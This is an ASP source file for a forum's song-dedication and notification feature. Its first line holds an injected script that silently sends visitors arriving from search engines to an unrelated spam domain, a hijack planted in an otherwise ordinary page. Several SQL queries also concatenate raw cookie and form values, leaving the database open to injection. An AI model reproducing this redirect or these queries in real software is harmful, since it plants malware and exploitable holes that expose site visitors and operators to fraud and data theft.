001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!-- #include file="setup.asp" --> 002: <!--#include file="z_dgconn.asp"--> 003: <% 004:
005: top
006: if Request.Cookies("username")="" then
007: error("<li>您还还未<a href=login.asp>登陆</a>社区")
008: end if
009:
010: if instr(RcUsername," ")>0 then:error("<li>非法操作"):end if
011:
012: sql="select * from [user] where username='"&Request.Cookies("username")&"'"
013: rs.Open sql,Conn,1,3
014:
015: if Request.Cookies("userpass")<>rs("userpass") then
016: error2("密码错误！")
017: end if%>
018:
019: <% 020: dim isfull
021: isfull=false
022:
023: %>
024: <% 025: dim lincept,lcontent,lmedianame,lurl,dguser
026: '------------- 027: dguser=HTMLEncode(Request.Cookies("username"))
028: lincept=HTMLEncode(Request.Form("incept"))
029: lcontent=HTMLEncode(Request.Form("content"))
030: lmedianame=HTMLEncode(Request.Form("medianame"))
031: lurl=HTMLEncode(Request.Form("url"))
032:
033: if lincept="" then
034: error("<li>请输入接收用户名")
035: founderr=true
036: else
037: if instr(lincept,"全体会员")>0 then
038: lincept="全体会员"
039: isfull=true
040: else
041: lincept=split(lincept,"|")
042: if ubound(lincept)>=5 then
043: error("<li>最多只能发送给5个用户")
044: founderr=true
045: end if
046: end if
047: end if
048: if lmedianame="" then
049: error("<li>请输入点播名称")
050: founderr=true
051: end if
052: 'if lurl="" or lurl="http://" then 053: lur2=right(lurl,3)
054: if lur2<>"mp3" and lur2<>"mid" and lur2<>"wav" and lur2<>"wma" and lur2<>"swf" and lur2<>"mpg" and lur2<>".rm" and lur2<>".ra" and lur2<>"asf" then
055: error("<li>请正确输入音乐地址")
056: founderr=true
057: end if
058:
059: if lcontent="" then
060: error("<li>请输入祝福语")
061: founderr=true
062: end if
063: if len(lmedianame)>50 then '--------------判断名字
064: error("<li>点播名称不能多于50字")
065: founderr=true
066: end if
067: if len(lcontent)>200 then '--------------判断名字
068: error("<li>祝福语不能多于200字")
069: founderr=true
070: end if
071: dim haverr
072: haverr=false
073: call updata()
074: call CloseDB()
075: '=================================== 076: top
077: dim v1,v2
078: v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
079: v2=Cstr(Request.ServerVariables("SERVER_NAME"))
080: if v1="" or isnull(v1) or mid(v1,8,len(v2))<>v2 then error("<li>非法操作")
081: sub updata()
082: dim ii
083:
084: if isfull then
085: set rs=server.createobject("adodb.recordset")
086: sql="select * from media"
087: rs.open sql,connDG,3,2
088: rs.addnew
089: rs("sender")=dguser
090: rs("incept")=lincept
091: rs("sendtime")=now()
092: rs("content")=lcontent
093: rs("medianame")=lmedianame
094: rs("url")=lurl
095: rs.update
096: rs.close
097: set rs=nothing
098: succtitle="点播成功"
099: message=message&"<br><li><a href=z_dgwrite.asp>点播祝福已成功发出!你向论坛所有的会员发送了点播祝福!正在自动返回点播页............<li><a href=default.asp>返回论坛首页</a>"
100: succeed(""&message&"<meta http-equiv=refresh content=3;url=z_dgwrite.asp>")
101:
102:
103: else
104: for ii=0 to ubound(lincept)
105: set rs=server.createobject("adodb.recordset")
106: sql="select username from [user] where username='"&lincept(ii)&"'"
107: rs.open sql,conn,1,1
108: if rs.eof and rs.bof then
109: error("<li>论坛没有<font color=red>["&lincept(ii)&"]</font>这个用户")
110: haverr=true
111: else
112: rs.close
113: sql="select * from [media]"
114: rs.open sql,connDG,3,2
115: rs.addnew
116: rs("sender")=dguser
117: rs("incept")=lincept(ii)
118: rs("sendtime")=now()
119: rs("content")=lcontent
120: rs("medianame")=lmedianame
121: rs("url")=lurl
122: 'rs("yin")=lyin 123: rs.update
124: rs.close
125: set rs=nothing
126: '--------------------发送点播信息到网内短信 127: dim sender,incept,content,lurl1
128: lurl1=Request.Form("url")
129: sender=Request.Cookies("username")
130: content=""&[sender]&"点了一首 "&lmedianame&"给你！ 祝福语："&lcontent&""
131: conn.execute("insert into message(author,incept,content) values ('"&sender&"','"&lincept(ii)&"','"&content&"')")
132: conn.execute("update [user] set newmessage= +1 where username='"&lincept(ii)&"'")
133: '--------------------发送点播信息到网内短信 134: succtitle="点播成功"
135: message=message&"<br><li><a href=z_dgwrite.asp>你点播给<b>"&lincept(ii)&"</b>成功!系统已向<b>"&lincept(ii)&"</b>发出短消息通知!"
136: end if
137: next
138: succeed(""&message&"<meta http-equiv=refresh content=3;url=z_dgwrite.asp>")
139: end if
140: end sub
141: %>
142:
143:
144: <% 145: htmlend
146: %>
147:
148:
149: